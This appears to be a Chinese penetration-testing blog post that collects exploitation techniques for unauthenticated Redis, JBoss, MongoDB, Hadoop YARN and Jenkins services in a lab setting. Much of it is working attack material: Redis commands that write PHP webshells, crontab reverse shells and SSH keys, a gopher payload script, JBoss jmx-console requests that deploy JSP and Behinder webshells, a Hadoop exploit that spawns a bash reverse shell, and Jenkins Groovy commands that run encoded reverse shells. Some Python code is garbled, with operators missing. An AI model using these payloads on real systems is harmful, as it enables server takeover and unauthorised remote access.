『渗透测试』常见未授权访问总结
来源:宸极实验室
介绍:本文主要介绍了常见未授权访问漏洞的检测以及利用。
0x00 前言
最近测试过程遇到了一些未授权访问的漏洞,就做了一些总结,以后遇到了,可以进行直接参考。
0x01 redis未授权访问
靶机地址:192.168.160.128
靶机路径:/var/www/html
判断未授权漏洞存在,如下图:
1.1 漏洞检测
https://github.com/code-scan/rescan
。执行结果:
1.2 漏洞利用
1.2.1 利用redis写webshell
利用条件:
1.靶机redis链接未授权,在攻击机上能用redis-cli连上2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限
依次执行命令如下:
192.168.160.128:6379> config set dir /var/www/html
OK
192.168.160.128:6379> config set dbfilename shell.php
OK
192.168.160.128:6379> set webshell '\n\n\n<?php @eval($_POST['shell']);?>\n\n\n'
OK
192.168.160.128:6379> save
OK
第三步写入webshell
时需要使用换行,因为redis
写入文件的时候会自带一些版本信息,不换行可能会导致无法执行。
连接shell
:
1.2.2 利用crontab反弹shell
利用条件:目标redis运行在centos且以root权限启动靶机地址:192.168.160.146攻击机地址:192.168.160.128
先在攻击机开启监听:nc -lvnp 4444
新开窗口依次执行如下命令:
redis-cli -h 192.168.160.146
config set dir /var/spool/cron
config set dbfilename root
set ceshi '\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.160.128/4444 0>&1\n\n'
save
成功收到shell
:
python
脚本利用:
#!/usr/bin/env python
import urllib
protocol='gopher://'
ip='192.168.160.146'
port='6379'
reverse_ip='192.168.160.1'
reverse_port='4444'
cron='\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n'%(reverse_ip,reverse_port)
filename='root'
path='/var/spool/cron'
passwd=''
cmd=['flushall',
'set 1 {}'.format(cron.replace(' ','${IFS}')),
'config set dir {}'.format(path),
'config set dbfilename {}'.format(filename),
'save'
]
if passwd:
cmd.insert(0,'AUTH {}'.format(passwd))
payload=protocol ip ':' port '/_'
def redis_format(arr):
CRLF='\r\n'
redis_arr = arr.split(' ')
cmd=''
cmd ='*' str(len(redis_arr))
for x in redis_arr:
cmd =CRLF '$' str(len((x.replace('${IFS}',' ')))) CRLF x.replace('${IFS}',' ')
cmd =CRLF
return cmd
if __name__=='__main__':
for x in cmd:
payload = urllib.quote(redis_format(x))
print payload
执行该脚本,然后curl
:
最后成功监听到:
计划任务文件:
注:若以 kali 192.168.160.128
作为靶机,centos192.168.160.148
作为攻击机,反弹不成功。
config set dir /var/spool/cron/crontabs //kali里的计划任务目录是/var/spool/cron/crontabs
set ceshi '\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.160.128/4444 0>&1\n\n'
ubuntu
也无法反弹。
出现这个问题的原因是linux的cron中执行命令的shell环境是bin/sh。但是ubuntu和kali里的bin/sh指向的dash。而dash这个shell只有运行脚本的能力,没有交互能力。
这里可以查看一下bin/sh
的指向。
cd /bin & ls -l | grep -w 'sh'
centos
kali
Ubuntu
如果想通过计划任务反弹shell
,参考下列文章:
https://www.dazhuanlan.com/2019/11/15/5dce507a41df5/
1.2.3 利用公私钥认证获取root权限
利用条件:靶机为linux
靶机:192.168.160.146
依次在攻击机上执行:
ssh-keygen -t rsa //在攻击机上生成ssh公钥和私钥,密码设置为空cd /root/.ssh(echo -e '\n\n'; cat id_rsa.pub; echo -e '\n\n') > 1.txt //将生成的公钥报存为1.txt
然后依次执行:
cat 1.txt | redis-cli -h 192.168.160.146 -x set crack //将保存的ssh公钥写入redis
redis-cli -h 192.168.16.146 //登录redis服务
CONFIG GET dir //查看redis备份的路径
config set dir /root/.ssh //修改redis的备份路径为ssh公钥存放目录
CONFIG SET dbfilename authorized_keys //设置上传公钥的备份文件名字为authorized_keys
CONFIG GET dbfilename //检查是否更改成功
save
ssh -i id_rsa root@192.168.160.146yes
成功登录系统:
1.2.4 主从复制RCE
在redis4.x之后,redis增加了模块功能,通过外部拓展,可以实现在redis中实现一个新的redis命令,通过c语言编译并加载恶意的.so文件,达到代码执行的目的。
适用版本:redis4.x-5.0.5
注:win
下的redis
的最新版本为3.2
。所以win
下这个是不行的。利用脚本:https://github.com/n0b0dyCN/redis-rogue-server
。
脚本使用:
python3 redis-rogue-server.py --rhost 192.168.160.146 --lhost 192.168.160.1
https://www.jianshu.com/p/77052b00700c
https://www.cnblogs.com/bmjoker/p/9548962.html
如果是win
下的redis
环境,且无法写webshell
的情况下,参考如下文章:
https://xz.aliyun.com/t/7940https://xz.aliyun.com/t/8153
0x02 Jboss未授权访问漏洞
环境:docker的镜像testjboss
判断未授权漏洞存在,访问http://ip//jmx-console
。
2.1 漏洞检测
检测脚本https://github.com/GGyao/jbossScan
。
2.2 漏洞利用
2.2.1 写入木马
首先访问:
http://192.168.160.1/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25 if(request.getParameter(%22f%22)!%3dnull)(new java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b %25%3e&argType=boolean&arg4=True
提取相关参数:
arg0:August.war //war包名称arg1:shell //文件名称arg2:.jsp //文件后缀名arg3:<% if(request.getParameter('f')!=null)(new java.io.FileOutputStream(application.getRealPath('/') request.getParameter('f'))).write(request.getParameter('t').getBytes()); %>//f=文件名,t=文件内容
执行成功:
创建文件并访问:
http://192.168.160.1/August/shell.jsp?f=2.txt&t=123
http://192.168.160.1/August/2.txt
2.2.2 远程部署war包
首先制作war
包。 jar cvf ma1.war ma1.jsp
。
然后部署在自己的服务器上。
在jmx-console搜索deployment,进入DeploymentScanner。
在addURL()的ParamValue上填写服务器上的war包地址。执行invoke
。
执行成功。
返回到刚进入jmx-console的页面,找到jboss.web.deployment,如下说明部署成功。
访问木马地址,上传成功。
2.2.3 本地上传war包2
此处利用DeploymentFileRepository
类,把war
包部署到已知jmx-console
目录下,这样不用知道网站的路径,且避免了其他路径不允许访问的限制。
进入该类后,修改BaseDir
的值为./deploy/
然后到store
方法里,修改值如下:
p1:jmx-consolep2:ceship3:.jspp4:<%@page import='java.util.*,javax.crypto.*,javax.crypto.spec.*'%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals('POST')){String k='e45e329feb5d925b';/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue('u',k);Cipher c=Cipher.getInstance('AES');c.init(2,new SecretKeySpec(k.getBytes(),'AES'));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
ps:p4就是冰蝎的马
invoke
后,返回成功。
尝试访问http://192.168.160.1/jmx-console/ceshi.jsp
,返回200。
冰蝎连上,成功。
2.3 漏洞利用脚本
利用脚本https://github.com/joaomatosf/jexboss
。
python2 jexboss.py -host http://ip
参考:
https://www.cnblogs.com/rnss/p/13377321.htmlhttps://www.cnblogs.com/Hack-Devil/p/13741604.html
0x03 MongoDB未授权访问
3.1 漏洞检测
通过数据库工具进行连接。 NoSQLBooster
工具,下载地址https://nosqlbooster.com/downloads
0x04 hadoop未授权访问
4.1 漏洞利用
靶机:127.0.0.1:8088
vulhub的hadoop的环境
访问8088页面,可以直接看到hadoop
的web
页面。
exp.py
如下:
import requests
target = 'http://127.0.0.1:8088/'
lhost = '192.168.160.1' # put your local host ip here, and listen at port 4444
url = target 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/4444 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
执行如下命令:
nc -lvp 4444
python exp.py
成功:
0x05 jenkinis未授权访问
5.1 漏洞检测
访问http://ip:8080/manage
,不需要登录就可以访问,就存在漏洞。
5.2 漏洞利用
靶机:192.168.160.145:8080
访问http://192.168.160.145:8080/script
查看一下用户println 'whoami'.execute().text
。
有可写权限的情况下,可以利用脚本向网站路径写webshell
。这里的网站路径是/var/www/html
。
new File ('/var/www/html/shell.php').write('<?php phpinfo(); ?>');
如果权限不够报错。靶机是ubuntu
,开启jenkins
服务新建一个jenkins
用户,权限不太够。
靶机修改一下用户,用root
运行,继续新建文件,无报错,可访问。
进行反弹shell
。反弹命令进行编码:http://www.jackson-t.ca/runtime-exec-payloads.html
。
println 'bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjE2MC4xLzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}'.execute().text
成功反弹。
0x06 总结
本篇文章对常见场景下的未授权访问漏洞的检测和利用进行了总结,主要是为了方便后续测试遇到时的利用,后续希望研究一下某些特定场景下该怎么利用。